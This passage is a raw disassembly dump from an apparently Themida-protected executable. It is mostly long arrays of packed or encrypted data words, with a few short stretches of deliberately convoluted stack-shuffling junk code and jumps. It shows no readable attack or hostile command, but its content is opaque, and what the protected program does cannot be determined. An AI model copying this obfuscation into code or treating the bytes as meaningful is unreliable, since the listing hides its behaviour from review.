0C27AC69Fh, 0C17BC7A1h dd 0C27AC6A0h, 0C27AC6A1h, 0E1F67B63h, 0E7FA9B95h, 0EB00A19Bh dd 0EEE4B59Fh, 0FA26BAA2h, 15E080F6h, 0D11B456h, 3F1D6981h dd 0B35F4F1Bh, 32CD4FC6h, 2A405FE8h, 7E5982DEh, 610F932h dd 7959EB52h, 3316115Dh, 11626EDAh, 0A5498E92h, 448A0E7Ch dd 90E53E8Ah, 0A48690DFh, 0B0AAC27Dh, 0B7560F26h, 0ABD4447Fh dd 0CBD6CFD8h, 0ED6FCB1Bh, 5B3948D2h, 91DDF5E6h, 0C667B396h dd 49h, 0D3E95B60h, 11854975h, 234FC6B3h, 262A32FCh, 498E9ECDh dd 1D47001Fh, 3FDB273Ch, 0EDF3F33h, 0DF2B2256h, 0D31F3364h dd 62A1F958h, 69AC8AB7h, 0BF0BE0F9h, 41DEE173h, 0C9DA5B39h dd 0CB912793h, 0BE6FCBE0h, 0F4h, 53698158h, 11F8337Fh dd 5C704CF8h, 4FC6B2EAh, 0F24BE74Ah, 383C8A45h, 0A4C136ECh dd 0C0DF68C1h, 0B7E55EAAh, 61D7C7A3h, 0BA554FC7h, 0DAEBFF60h dd 0A39CE801h, 61BCB2BEh, 0A6AA4FC7h, 4FC761B0h, 0AA859D84h dd 0DBF4E583h, 43C4458Dh, 3EE7E5E7h, 0E3561A05h, 0D2EAD254h dd 3B77DF3Bh, 4FC71EA6h, 8BC511C9h, 53CC18CAh, 855C3EFEh dd 5874D039h, 498F1EC3h, 0E74E0629h, 4D213F55h, 4FD46EE8h dd 74EA0666h, 0B84FC98Fh, 0A894B059h, 63186557h, 0CB3A7D3Ch dd 0AD60CBA0h, 0F461AD0Bh, 0F4A58FDBh, 7D7F8FDBh, 38CCBD6Eh dd 18A0EEFh, 4A1A0000h, 480556FEh, 4D0354FCh, 50065701h dd 540B4C04h, 9D15008h, 0D57FCB84h, 0D781CD84h, 0CF89D586h dd 0A890DC8Eh, 72E4E834h, 0C25615E2h, 66811F23h, 6981221Ah dd 0B3229458h, 94474FC6h, 42AFF48h, 0F24C041Dh, 327E5586h dd 330610F9h, 814DFB11h, 498E9EAAh, 8A221D04h, 560EDF10h dd 2EA45F57h, 5B394191h, 0B4F2h, 69818C00h, 44163F1Dh dd 40DA2FF8h, 337F5807h, 726B4CF8h, 0ED36825Ch, 4921ED14h dd 4FC6B6B0h, 89B3FFD3h, 6DB602D8h, 0E07C94A4h, 8EB7770Ch dd 0E25AB549h, 0B593A99Bh, 0D4249599h, 0D7F3574Fh, 4FC95C67h dd 0F2FE6AC5h, 4FC95C7Ch, 8CB851B0h, 0F068B4ABh, 9E6CB8AFh dd 0CCBD8028h, 0BDF76611h, 4D000000h, 50114B97h, 4E0F4995h dd 0B5E64E9Ah, 0B2E34D99h, 78E7519Dh, 0C612CD52h, 0C814CD8Eh dd 0D01CCF90h, 0D7233768h, 1935795Dh, 5615E325h, 86E2EC07h dd 1067121Dh, 9E5DEAAh, 4FC72795h, 85917897h, 0E2EEFFD8h dd 4FC7276Ch, 90C861C0h, 65CF1BCFh, 1D69811Bh, 87617A22h dd 0FD19F03Bh, 223E8A60h, 43224501h, 0A497FC97h, 7CE55EAAh dd 65D79EB2h, 2ADDF14Fh, 8C4989EEh, 0E5FD9AA5h, 0ECFE9F99h dd 0DCFDA7A0h, 996EB905h, 0C620A822h, 0D35FC669h, 19268997h dd 0BC176D49h, 637D9347h, 0CC350C17h, 0D31F3364h, 0E32F2758h dd 73522868h, 0B8A0ECFEh, 9CA7F3E7h, 3B9h, 17635500h, 241F6B81h dd 18135F73h, 1F287467h, 221D6980h, 150E5A75h, 26216D62h dd 16115D79h, 28236F69h, 19125E77h, 54996874h, 0C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 7148h mov [esp], ebp push 7CC2h mov [esp], edx push 49625F39h pop edx dec edx and edx, 592A489Dh sub edx, 42D32284h mov esi, edx pop edx push esp mov ebp, [esp] add esp, 4 push eax mov eax, 8 add eax, ebp mov [eax], esi mov eax, [esp] add esp, 4 push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_544ACB ; --------------------------------------------------------------------------- db 25h dd 0E0204261h, 0E0165E48h, 4F3116B8h, 0FFC50306h, 0AF28CE0h dd 6AA4F97Dh, 17DA5E55h, 7646D558h, 107AE218h, 9C910E5Dh dd 0C304EB6Fh, 0E91ADDBBh, 5D6h, 90C814C8h, 92CA16CFh dd 91CB17D1h, 92CA16D0h, 92CA16D1h, 11C64B93h, 17CA8BC5h dd 1BD091CBh, 1E3465CFh, 2A766AD2h, 15E43026h, 0DDE10456h dd 94586981h, 4FC6B322h, 8438F47h, 7C240921h, 0C5EB7A48h dd 60EB42EBh, 80DC283Fh, 5B6F8057h, 4FC73FEBh, 0F33FE649h dd 17283A5Bh, 0C7406353h, 0D72ED14Fh, 5007304Ch, 4CE63B04h dd 400B570Bh, 1935461Fh, 4FC74025h, 46012807h, 0BC3194EAh dd 0C1E25AA6h, 0A5F65EAAh, 0BBE962AEh, 0C07EC262h, 7DC0C5C2h dd 4AA27DACh, 6FF04AF2h, 33F52E7Ah, 7A71E61Dh, 3129122Eh dd 2B075AE5h, 14607223h, 0B570F28h, 6376E940h, 1A42FB17h dd 50DB2741h, 9C389EF7h, 0BF66EB66h, 1A84F773h, 58844FC7h dd 19F66884h, 5C704FC7h, 4FC719EAh, 0E03FE74Ah, 51C10456h dd 99549B30h, 0E22C2C2Ch, 0F13C6F74h, 7A1454h, 0EFC80000h dd 0DA64AEFAh, 221D6981h, 3985617Ah, 37034F06h, 0C6B3493Bh dd 3093C14Fh, 0F11625BAh, 105E54h, 25160000h, 69E22Eh dd 0A7168864h, 0FB164FC6h, 5A86251Fh, 0C6B32096h, 4FED144Fh dd 0C6B30B7Bh, 2C06294Fh, 461C322Bh, 31D831FAh, 1A302213h dd 0D930FB47h, 0D590F30h, 421B3C01h, 540A2DF6h, 9BF13F08h dd 0D8F4C838h, 4FC6B366h, 8ECF6BC6h, 90D18BD7h, 0DCA68EDAh dd 327E5586h, 4A6077E8h, 1E6A8197h, 3CE53C07h, 2D795403h dd 2F1F2B0Fh, 0FD4FC6B3h, 342A4622h, 0F84FC6B3h, 0E948FD19h dd 0A2BD3291h, 0A5BDDE56h, 938CD88Fh, 0B0CC57AEh, 2E65F34Fh dd 0C7A02C22h, 621004Fh, 1521C421h, 677A9048h, 0C39F21Bh dd 5679EF26h, 2D54F1A2h, 6Ah, 7FEFFBDFh, 0AD4FC738h, 817EC852h dd 49955066h, 49022BFEh, 2DF64216h, 0D94E85DBh, 0DE8AB2FEh dd 0C702C5h, 19F5C1F5h, 4CD7233Ch, 47E5332Bh, 0E639458Bh dd 2E57D039h, 3C57CD08h, 4754F180h, 4Ch, 556681DFh, 0C6B30579h dd 2108274Fh, 16627926h, 955112Ah, 0B31F8F5Bh, 0F20D4FC6h dd 3B911F28h, 206C63D8h, 64814E38h, 0E850F18h, 554FC6B3h dd 43F42F7Bh, 125E798Fh, 8AE030FBh, 2E64A04Bh, 155E61D7h dd 12554F1h, 0B9000000h, 7A566781h, 4FC6B304h, 0B3188E62h dd 0F51C4FC6h, 101BF20Dh, 112F7B6Fh, 40182E28h, 2FD62BF4h dd 3C010DF4h, 2A9F760Ch, 0B72EA36h, 0FBBE2139h, 252225BCh dd 0D78C60FCh, 0D5498EEEh, 332D0E3Ah, 45F24BE7h, 4617418Dh dd 31C4894h, 0DBD7F6D9h, 63FDB28h, 0EDCF66Eh, 7307C56h dd 4C1F0854h, 53B94AE5h, 18FB5DB9h, 0F963AFA3h, 0BBD18CADh dd 64AE57A3h, 0B593DFF3h, 0B2D1C589h, 0BC63560Fh, 0B8AACD72h dd 0CB84B36Ch, 0B9509CB5h, 0CA16D16Eh, 7A59AF81h, 2DE83ECFh dd 0DE56A2B8h, 3A1527BCh, 19E5C5Bh, 5BF20000h, 364C09E9h dd 0F13AD31Fh, 6753F118h, 0C6B2F363h, 1662764Fh, 6ECE340Dh dd 0C6B2EC62h, 48E1404Fh, 9D5A76EEh, 0CF498EB8h, 9248F730h dd 29411A46h, 19657ADDh, 77DF3B0Eh, 7CE83426h, 0F723F60h dd 31D83170h, 0F2E3323h, 141E0156h, 45560C2Bh, 0F2E3529h dd 0F118F756h, 0F2AF2A53h, 0B50BB5ADh, 49C64B4Ah, 76C002C0h dd 0EB2A80D1h, 20186476h, 3965617Eh, 7E46575Bh, 509CB420h dd 0C49972D7h, 805BC45Ah, 4C3C7E0Bh, 6535F23Ch, 0C9000000h dd 307C5586h, 310812F7h, 2A1C302Bh, 0A4FC6B3h, 8E62FE27h dd 4FC6B2E8h, 0D1E3526h, 0C6B34D41h, 0E940DF4Fh, 0EB34DB4Dh dd 0C6B2ED61h, 0A0011D4Fh, 7CC875CAh, 7DB7CF9h, 1AF95FBBh dd 0BDABD97Fh, 0C70C8DB1h, 0C496BF4Fh, 0B35AAF78h, 0E5FCDD89h dd 0B59E7D99h, 52000000h, 82DC4C31h, 2BA47FCBh, 350F2B12h dd 75D3E95Bh, 8EB8DE59h, 36F11049h, 273B5109h db 0DBh, 50h word_5B0332 dw 10F9h ; DATA XREF: Themida_:0053DC98o dd 15637728h, 0BD078C09h, 0F864BDDAh, 2B9608E4h, 0FCD0560Fh dd 560F2B8Ah, 809F87AAh, 0CE0391B6h, 42560F2Ah, 1E34A96Ch dd 31136AD2h, 99212D1Bh, 534FD1FBh, 146F90ACh, 6D4912B2h dd 2758ED49h, 3B5CE733h, 549DA28h, 0C692C647h, 9BB3E45Fh dd 3E6BD44Fh, 21003C89h, 0BB1A7000h, 0A967AB0Eh, 7FA6E1A6h dd 0EC5CB7CDh, 7C737E93h, 520652D0h, 3DE43D06h, 0E6FE3EF1h dd 836C767Ah, 81A04990h, 83F3F7E3h, 0B1560EE4h, 0D08CC44Eh dd 5DAF0E7h, 80C650B9h, 75D3E95Bh, 2D797049h, 67030FF2h dd 49898363h, 8FDBF2E3h, 0C9829D83h, 0B8AEC496h, 0B74EB36Ch dd 0F006DC7Dh, 0C9A0ABF7h, 0C4CDE760h, 0A759A370h, 0B7E863AFh dd 84D08DA3h, 84BF66BBh, 62B2FED3h, 0E1EC90Ch, 0F2E85DB8h dd 0F5EDAEA6h, 0E5019EA9h, 96E28E99h, 70B0A6AAh, 0D3846AA4h dd 8C75AEFAh, 5CB79975h, 0B9A7F3E7h, 0A877C5A0h, 8AA0A6B5h dd 0A9AD89A0h, 13CCE2F8h, 7DB7CC7h, 709970BBh, 3AF8E99h dd 63000000h, 6B811763h, 5F73241Fh, 74671813h, 69801F28h dd 5A75221Dh, 6D62150Eh, 5D792621h, 6F691611h, 5E772823h dd 68741912h, 6592h, 57242C89h, 0C781E789h, 4, 8704EF83h dd 895C243Ch, 89562404h, 4C681E6h, 81000000h, 4EEh, 24348700h dd 241C895Ch, 4EC81h, 1C890000h, 195ABB24h, 0E3B80851h dd 310E1E28h, 8B545BD8h, 0C481241Ch, 4, 4EC81h, 0C890000h dd 89C18924h, 8B59084Bh, 8957241Ch, 4C781E7h, 83000000h dd 3C8704C7h, 34FF5C24h, 0C4835824h, 45D5E904h, 3740FFF9h dd 0A58143CFh, 8B8D949h, 3064F37h, 0B1E0FFC5h, 0C309A2Ah dd 613A86A0h, 2B7C1BBCh, 65462597h, 0B26ADABFh, 502606FAh dd 456CC15Fh, 0FC01B26Ch, 0B8475B14h, 0C70F8615h, 7F5FC8A6h dd 30325351h, 9D204766h, 4E75DF54h, 0EF6F93BEh, 2428728Ch dd 593B1782h, 0C04F967Ch, 0DF66EB64h, 0DC323AA6h, 0EB7B00AAh dd 36764904h, 4FFE941h, 0DA8A0000h, 0D8F5A68Eh, 0DDF3A48Ch dd 0E0F6A791h, 0E4FB9C94h, 19C1A098h, 0C56FBB94h, 0C771BD94h dd 0BF79C596h, 0D880CC9Eh, 0E2D498C4h, 525615EAh, 69812F73h dd 297A221Dh, 75664130h, 2690FE29h, 0FED98690h, 1D98AB2h dd 0E9D26AB5h, 0B602D7EDh, 0A16D946Dh, 0D9529EB4h, 563AFA6h dd 0C102C39Ch, 0EA44EC44h, 669DF355h, 0BDABF9F1h, 67E7BBECh dd 2BC32BE5h, 0F2C9F200h, 6B80211Bh, 0E345E51Dh, 0BF661E66h dd 0C30FC495h, 4F9DB4A5h, 9774F576h, 0B56E9705h, 6ADCF04Ch dd 0CA4FC700h, 0C572CB67h, 0C987C00Ch, 75C19CBDh, 95BB57AAh dd 0C612C93Eh, 0FF15CD8Eh, 0BFA29DE9h, 9BBFDD66h, 0C700DFCFh dd 68B24D4Fh, 0C700970Ch, 6A4B6F4Fh, 49202B77h, 38A86BEDh dd 8D90AE7h, 3ABADEBCh, 4FD13AC1h, 91C34F7Fh, 54F1E90Eh dd 8AD691AAh, 70BF68C1h, 0DD026EDBh, 73F73802h, 8F000000h dd 221D6981h, 0C6B3128Ah, 7BEF44Fh, 0F1160E91h, 17554h dd 86090000h, 0F52E7A55h, 7855020Ch, 0D975A32Ah, 274DB602h dd 0AAE3254Dh, 0A439A4E1h, 0A4B8A47Dh, 0C6CCD6C8h, 5FBB564Fh dd 509CB9E6h, 62AEA8D7h, 1F3B87E9h, 0C6CC5B4Bh, 4737134Fh dd 0E54FC6CCh, 0F13DE44Ah, 834A45Fh, 33EC382Fh, 0CC0C82CEh dd 1204FC6h, 0E12D2835h, 0E8342677h, 55861670h, 0F0666A7Bh dd 444FC6B2h, 6DEA44DDh, 7A1D2672h, 3D0C1763h, 0C713C6EFh dd 0B92EE56Bh, 0C5F6529Eh, 9D84BF0Bh, 0B8A1BD91h, 98C5519Dh dd 66B2ACC2h, 0FDD384BFh, 0E7CF76B1h, 1419B62Ch, 5D6A54F1h dd 4000000h, 111A6681h, 0F52E7A6Eh, 8438F42h, 0F9327E57h dd 17C20157h, 0EF649FF5h, 0D884ACF8h, 0BF9DE9FFh, 0C6B3BBABh dd 7C96794Fh, 6FB804DBh, 81CA16D0h, 0A117EEE4h, 54F1140Eh dd 5D75h, 66810900h, 987E9A18h, 0B24E9A50h, 0ED54B044h dd 0CB54AD54h, 0E06BB7ACh, 0A61BFAD0h, 91EB65B1h, 2C186481h dd 400B570Bh, 0B3564824h, 3BD64FC6h, 75FF48D2h, 4FC6B2FEh dd 29226E65h, 0B146076h, 758B7734h, 2E1E521Eh, 16D27D58h dd 14AF25E0h, 0A454F117h, 0C44E9AB3h, 163h, 6781FB00h dd 7B6F101Bh, 1E34F42Fh, 125E72E7h, 0DBF1532Ah, 0BDAA616Dh dd 1D04498Eh, 85617A22h, 6A80DD39h, 6D65361Eh, 168E2621h dd 5C560EC2h, 885ACF06h, 8F43143Ch, 435C0843h, 7D59B723h dd 0F813F631h, 0E5318731h, 0D166278h, 0BA2FE63Ch, 0A2F45CA8h dd 5B39E21Dh, 11766h, 0E95B0000h, 9E5975D3h, 0D0498EB8h dd 2D221331h, 370366E1h, 2D79710Eh, 34805203h, 2A21F708h dd 0EF388457h, 50D5F11Ah, 216D62D5h, 5B0F3015h, 4E08310Fh dd 3D896102h, 2A131F02h, 0D74C87DFh, 3902B503h, 0ABA8AB00h dd 758EDA82h, 3D2E5AF8h, 87E016F1h, 7B0856E0h, 85B39E0h dd 4Eh, 7855869Eh, 26216D62h, 861EA43h, 8441861Fh, 0DB37BC37h dd 74D00054h, 0C749B658h, 101BF64Fh, 0C74A1284h, 0FBDA004Fh dd 0E3FAFC60h, 0DCF08C97h, 4FC74A6Ah, 67BE67CAh, 4A51F5F9h dd 9CBD4FC7h, 59B07BC7h, 8CC46BBDh, 6B89h, 55864500h, 4CE32F7Bh dd 6468D4ECh, 498EB8EBh, 97FC2A53h, 3E7D3EFAh, 75D32EF4h dd 0F33F8B44h, 0E9352D4Ah, 5102336Fh, 4BE73A05h, 130C580Ah dd 0F884079h, 27DEB456h, 0DC54A0B2h, 0AF8DA395h, 0D25BD59Bh dd 43FC234Fh, 39F23E14h, 7A261F7h, 2D211D35h, 4956491Fh dd 206884E0h, 50499182h, 0A16A93B1h, 99499F1Ch, 1F69ED49h dd 4F09E95Bh, 223E2A03h, 50071D39h, 3FE63B04h, 853177F3h dd 0A07F4989h, 96E2F8A7h, 12DE029Eh, 5615EA9Ch, 0B8A57190h dd 85D18CA2h, 9709A39Ch, 9B0F0F31h, 236F664Fh, 2F352945h dd 18F790FDh, 4795CFEh, 0E5A024Eh, 33EA35F5h, 5D72053Ch dd 411EF811h, 3562DD29h, 0A7F2CB19h, 15C315F0h, 69F533ECh dd 0EF4B9750h, 1D35AA69h, 834773D1h, 90FD4313h, 1C34FE21h dd 101B677Bh, 0D2Dh, 0D6FF00h, 86E45AB4h, 0E42E7A55h, 6B810955h dd 5F73241Fh, 74671813h, 69801F28h, 5A75221Dh, 6D62150Eh dd 5D792621h, 6F691611h, 5E772823h, 53741912h, 0C381E389h dd 4, 8704EB83h, 248B241Ch, 4EC8324h, 51243C89h, 0C181E189h dd 4, 4E981h, 0C870000h, 1C895C24h, 0A9B85024h, 3546CD2Bh dd 79EA347Bh, 28182505h, 58C789C7h, 241C8B54h, 8104C483h dd 4ECh, 243C8900h, 0CD242C81h, 8F3AF702h, 43810843h, 0F702CD08h dd 241C8B3Ah, 81E68956h, 4C6h, 4C68300h, 5C243487h, 51243C8Bh dd 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFF94067h, 3C68B89Ch dd 0C503064Fh, 32CCE0FFh, 0FDE0409Ah, 9D440CE3h, 0B93C2EC5h dd 1A7732EEh, 0AE906F2Ah, 91780062h, 1A04AB9h, 91886AE6h dd 0E7364D31h, 0E150BB2h, 8501266h, 0C7EE6F00h, 5462D6Bh dd 8EC577ADh, 6C0459A8h, 2DE8790Dh, 0A0517632h, 0DD5168D4h dd 74F862B8h, 4EB3E92h, 4459BFB7h, 5C7E9h, 0E9352700h dd 0EB372E6Fh, 0EC383071h, 0EF3B1344h, 0EF3B1445h, 6BF0D645h dd 6F302874h, 55062E7Ah, 590A327Eh, 97FB3581h, 0F0077753h dd 0CE255615h, 1D698184h, 2B3F1B3Fh, 4FC6B33Bh, 443A16F9h dd 0E84FC6B3h, 2758ED49h, 2B6CE430h, 617DEB37h, 0C6B3198Dh dd 1AF41B4Fh, 14607225h, 46381428h, 1B4FC6B3h, 0EE11F945h dd 5D811B24h dd 0C6B31D91h, 26F00F4Fh, 57D01C39h, 68E32F28h, 4AD52137h dd 0C16CA7FFh, 45BA196Fh, 4B17418Dh, 0F32C786Ah, 0E6322D0Eh dd 0C580B4Ch, 5510730h, 5F742529h, 0EB428E49h, 142A3F60h dd 0D138F33Fh, 2B41EF38h, 4A6073E8h, 2BFE4995h, 51095A02h dd 39223A05h, 0F356D11Dh, 0B3584B27h, 82B04FC6h, 15B2CD43h dd 86D154F1h, 83000000h, 14307C52h, 0C6A74638h, 0EF4BE64Fh dd 5C1D8655h, 37D35A89h, 441647D3h, 2F252FF8h, 0D74FC6CEh dd 72BE92C3h, 94C650B9h, 3128BB31h, 15B54F1h, 0F3000000h dd 2F7B5586h, 234E25D4h, 18223322h, 9428E47h, 15337F56h dd 56E02C24h, 0FC2A53F1h, 0EB4DFA91h, 0BA94C14Dh, 3611386Ch dd 291A1A1Ah, 267E02Ch, 0FA50202Bh, 0D48AAB1Bh, 0D06ABF88h dd 0D28AD68Fh, 61ADA596h, 86D288D5h, 0ADA992CEh, 0B783E661h dd 1A66818Dh, 2B776E11h, 1C687F20h, 135F7423h, 0EE606C18h dd 3E4FC6B2h, 0D83B91E3h, 35C2372Bh, 879E499Eh, 7550A6h dd 0A19BE7h, 0F2A59EEAh, 0EC9992DEh, 0F6990FC6h, 8D54F11Ch dd 8Eh, 1A668121h, 2E7A6E11h, 1F302912h, 0C6B35B4Bh, 0CF36D94Fh dd 0D82EFA43h, 83CF88FDh, 81CF88D9h, 37E872EAh, 55CE373Fh dd 84E02C22h, 0EB70ED1Bh, 4B420C44h, 3D1649E6h, 924CEF16h dd 0A24FD46h, 0EB2A0835h, 0F1295A75h, 612954h, 86BD0000h dd 212F7D55h, 0B03D1FD0h, 65BE43Dh, 1E342B2Ch, 0EB373147h dd 9200960h, 1B35263Eh, 411243CFh, 5CE7332Bh, 17401C05h dd 2419F541h, 48243884h, 4FC75656h, 79DF3BD6h, 0DE2A259Ah dd 64810C76h, 44750F18h, 79F13D89h, 4FC6B302h, 7FF5D006h dd 54F11564h, 226E6354h, 11718h, 86AF0000h, 0C2F7B55h dd 0E9400B57h, 0C58104Dh, 384E0730h, 0E42ED723h, 0DA263C5Bh dd 87E526Eh, 2C4FC6B3h, 54142905h, 253B2F08h, 0FB44DD29h dd 8F460C26h, 4EFA461Ah, 865C726Dh, 0F118F13Ah, 5510936h dd 1D3EE73Ah, 0D62BF440h, 1B1D143Ch, 0B33A2C40h, 17FA4FC6h dd 156E52EEh db 0BFh, 68h, 0F5h byte_5B0D6F db 0DBh ; DATA XREF: Themida_:00564EAAo dd 10FE748Fh, 37835DFEh, 71F915ECh, 498EFFBAh, 65120DF4h dd 6637216Dh, 851F2874h, 13FC151Ch, 62DFDEE1h, 4E9860CDh dd 0CDA57198h, 560EB7D7h, 990EC59Bh, 0EEC775C1h, 0C78FABF7h dd 0AF78C496h, 0B28EDA90h, 7B8A7D51h, 88923592h, 0B91C72BFh dd 1A428E44h, 39323B48h, 184485Bh, 5BDE0000h, 5975D3E9h dd 498EB89Eh, 4EF631D0h, 815C726Dh, 0EE53CC35h, 0FA45914Dh dd 984A0B27h, 0C883CF82h, 0CF90C861h, 2354CF1Bh, 5485E32Fh dd 5FE8327Eh, 0E459BC12h, 0A4F3A0EEh, 853D85F1h, 74AFFBD2h dd 0EFC8748Dh, 0D906A8F6h, 0A906A904h, 0A2B680h, 5B3961E3h dd 85A0h, 55863600h, 3C102C78h, 4FC6B34Ah, 44EB47EAh, 5884E010h dd 0C6B32294h, 23EF124Fh, 4BFA2337h, 0D2364999h, 0E52CD36h dd 10991050h, 6CC86E06h, 15464FC7h, 0FE24EE3Ah, 3F144523h dd 45D138F3h, 6D027400h, 0EA104FC7h, 0DF62BB2Bh, 92A1DD3Ah dd 0FFADFF9Fh, 0A73BA724h, 0BBB0A48Bh, 0C6CABFAFh, 7B926D4Fh dd 0CA5D01CDh, 0B0894FC6h, 4EB36CB8h, 33AB35B5h, 0F43E383Eh dd 4475D32Eh, 60F8428Eh, 0A5FDh, 0E95B9100h, 0DE5975D3h dd 10498EB8h, 2D0E36F1h, 104DE935h, 418D445Ah, 3B2F70E8h dd 0D27BD4EDh, 0A7805680h, 0ED8DF18Fh, 0B14ED3Fh, 0EC54881h dd 0C7F0BC56h, 0A188C30Fh, 8B00C395h, 95D18BD7h, 0C6B1A5A9h dd 9C83560Eh, 879D9F92h, 0A36E15D9h, 899A4FD1h, 69C1E9C3h dd 7085676Eh, 0FEDFFE83h, 0FA150B27h, 105C0E31h, 24E0334h dd 0F156E049h, 95CA333Fh, 65899330h, 68ABAD89h, 0E7556BCDh dd 0A0ECE2D3h, 0CEA0E2D4h, 63AF524Fh, 7D50F3F7h, 0A37E4991h dd 0C194EDB9h, 752BFE8h, 44074650h, 0AA83B683h, 0E95BB690h dd 281E320Eh, 0C4FC6B3h, 0B3574725h, 3AD54FC6h, 704975D3h dd 4B1E2975h, 8FE083EFh, 33CE4989h, 0DF2B2415h, 954DEA53h dd 9C4E0F49h, 22BDD750h, 49141F8Ch, 19657A90h, 59D23B0Eh dd 5DE63226h, 0B35EB50Bh, 53C80B61h, 7E526E7Fh, 94207408h dd 0F767052Ch, 32942073h, 0BBA4CFA6h, 0AC53BBA3h, 62CABC90h dd 0C76A9420h, 0ADA5F65Eh, 9DB9E661h, 0C49AD651h, 0C0D68C01h dd 7BCE59A5h, 88C30FC8h, 8FD088A1h, 0A1948FDBh, 0Ah, 3B875A7Bh dd 47FD19F0h, 6B811763h, 5F73241Fh, 74671813h, 69801F28h dd 5A75221Dh, 6D62150Eh, 5D792621h, 6F691611h, 5E772823h dd 68741912h, 3786h, 89240C89h, 4C181E1h, 83000000h, 0C8704E9h dd 89535C24h, 4C381E3h, 81000000h, 4EBh, 241C8700h, 2414895Ch dd 1F6568h, 24348900h, 2907BB53h, 81430B05h, 0B5EBAEEBh dd 5B5A5304h, 24348B54h, 8104C483h, 4ECh, 24148900h, 8B08468Fh dd 89502434h, 405E0h, 4050000h, 87000000h, 0FF5C2404h dd 835A2434h, 44E904C4h, 1BFFF93Ah, 79F0885Ah, 5D1C9E89h dd 4F42A0B8h, 0FFC50306h, 4ECD13E0h, 0A748DA21h, 7FC84F53h dd 8CB87E04h, 15EC1F28h, 65F2C43Eh, 0FCCACF2Fh, 0A7B0F66Bh dd 893C833h, 846D766h, 13174927h, 0F06F1B7Fh, 0B761CB00h dd 0B8DB6168h, 5A94280Ch, 1BAB1A0Ch, 118D8D1Fh, 0F5064F44h dd 0A198D89h, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0C7DF29C3h, 480F3585h, 69B006h dd 0E5BD8900h, 0C7064828h, 48242585h, 6, 95B58900h, 0FF06481Ah dd 482281B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 0A2EC6545h, 2A86BB66h, 20BD95FFh dd 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 9F2DD4C3h, 0AEC1328Ah, 0B45BA30Eh, 0FF006A31h dd 48306195h, 0EBC08B06h, 0BB18F2Dh, 29C55D59h, 0F791CFF5h dd 4BE4979Ch, 0D3DE31CBh, 43C6C7D9h, 992A816Eh, 8544C777h dd 53F76E41h, 864DB613h, 5F7C001h, 4EB3921h, 5DA99CBh dd 5D1E9h, 0D5213300h, 0D7233A5Bh, 0D8243C5Dh, 0DB273F60h dd 0DB274061h, 57DC0261h, 5BFC3480h, 61023A86h, 45163E8Ah dd 8317418Dh, 0F7239357h, 0B2115615h, 1D698170h, 495A7522h dd 0C6B31185h, 60FC234Fh, 0C6B31A8Ch, 0EF71A4Fh, 88617A26h dd 141E033Ch, 727E8F43h, 4FC6B2FCh, 0B2F0666Ah, 0DD444FC6h dd 55492545h, 0D74FC6B3h, 0EF38D138h, 1D696455h, 441C3F22h dd 29411EF8h, 183562DDh, 9FF553CCh, 0AFFBEF64h, 0E905D985h dd 4FC6B375h, 0A1BE58B7h, 85D67ECAh, 9BC982CEh, 0B3BBABBFh dd 0BDAE4FC6h, 9C769971h, 0D15AA6BBh, 0B671BDAEh, 0B2BECF89h dd 4FC6B3BCh, 0AF789170h, 5D08CBA1h, 0CE3E95EBh, 0B368DEF2h dd 65CC4FC6h, 8BD78CC9h, 8EDA90D1h, 0F7D3E795h, 4FC6B387h dd 0C4B08AA5h, 4FC6B3CFh, 0B873BF92h, 0BF88D487h, 5B01349h dd 84FAD9F7h, 54F115FFh, 7DC9A0B9h, 5C74B1h, 810A0000h dd 7A221D69h, 0F76AF929h, 0F9159515h, 0C770FB71h, 0C6EF0B4Fh dd 0E177C30Fh, 0D417AC22h, 16C54F1h, 2000000h, 77536481h dd 4FC6B307h, 28230A25h, 19125E77h, 49954A6Bh, 4E0F2BFEh dd 75D34C98h, 45391529h, 0E74FC6B3h, 0A96CEE48h, 63CD1934h dd 0FE4A1E37h, 0E32F2334h, 66810F79h, 0FCC42C55h, 0B77FB7C2h dd 0C786A599h, 55A1BC4Fh, 0DAF652ADh, 4FC78664h, 87C069C8h dd 76B1FDD8h, 0B80439Bh, 0F500854h, 8310F5Bh, 0E346014Dh dd 9751EE57h, 231C6881h, 2B222D3Ch, 0BC652C65h, 93C3DA65h dd 3A15BA30h, 9E6E54F1h, 8000000h, 111A6681h, 0F52E7A6Eh dd 0FBEEC713h, 818D74AFh, 687FF4CFh, 4F68341Ch, 0D3C38798h dd 614FC6B3h, 85DC67BEh, 67B3ACA9h, 0F07A8F9h, 2CD7233Dh dd 0ACC0E685h, 4FC71FBAh, 0A46E977Ah, 94E2FC9Bh, 986B646Dh dd 0B671988Eh, 0F66CA78Fh, 54F1D7D9h, 64AAh, 0C416200h dd 0C51A0A47h, 8646001Ah, 0F9327E55h, 7E590610h, 0B226E68h dd 0F96D815Dh, 704FC6B2h, 0DF42F7Bh, 47001AF5h, 0CCF54318h dd 0C4FBCA51h, 771912FBh, 726DE221h, 49722E26h, 0B0A24492h dd 3B7F3BA0h, 26F059D2h, 18648120h, 0B30E850Fh, 0DCFA4FC6h dd 0B6B089F9h, 0F18ED06Ah, 9254F115h, 1, 1B67812Ch, 5D1D42Dh dd 7D5242CFh, 0C6B3FD71h, 39D02F4Fh, 233768DDh, 0B4483E12h dd 45EC4FC6h, 4F2563DCh, 0C59B0474h, 0B0C4C35Eh, 0E2D498C4h dd 524FC755h, 0DEF263AFh, 71D3AA92h, 2AE1ED5Bh, 84498F60h dd 0E1FAA29Dh, 15EB804h, 0E2B39DE9h, 119BA4F0h, 560F609Bh dd 0D24281D7h, 89A5F1E9h, 9ECA16CCh, 60B8AEC2h, 0B4B1560Fh dd 0D35FC268h, 0BC08DA7Bh, 0B2FED483h, 0C30FC679h, 0B804D788h dd 894CA26Fh, 1CF74FDEh, 0ED67B3A7h, 39C318ABh, 9BBCA05Bh dd 65D977C3h, 0C7560F54h, 0C681CD9Eh, 0BF70CA63h, 133h dd 0D3E95B57h, 4F870C75h, 97529785h, 540BDF7Bh, 82498EB9h dd 0DFF3A49Fh, 87C00CC9h, 58B1FDD8h, 4D687B1h, 1AD06FB8h dd 9EF455CEh, 94E0F267h, 0FE0157A8h, 1FE11FFFh, 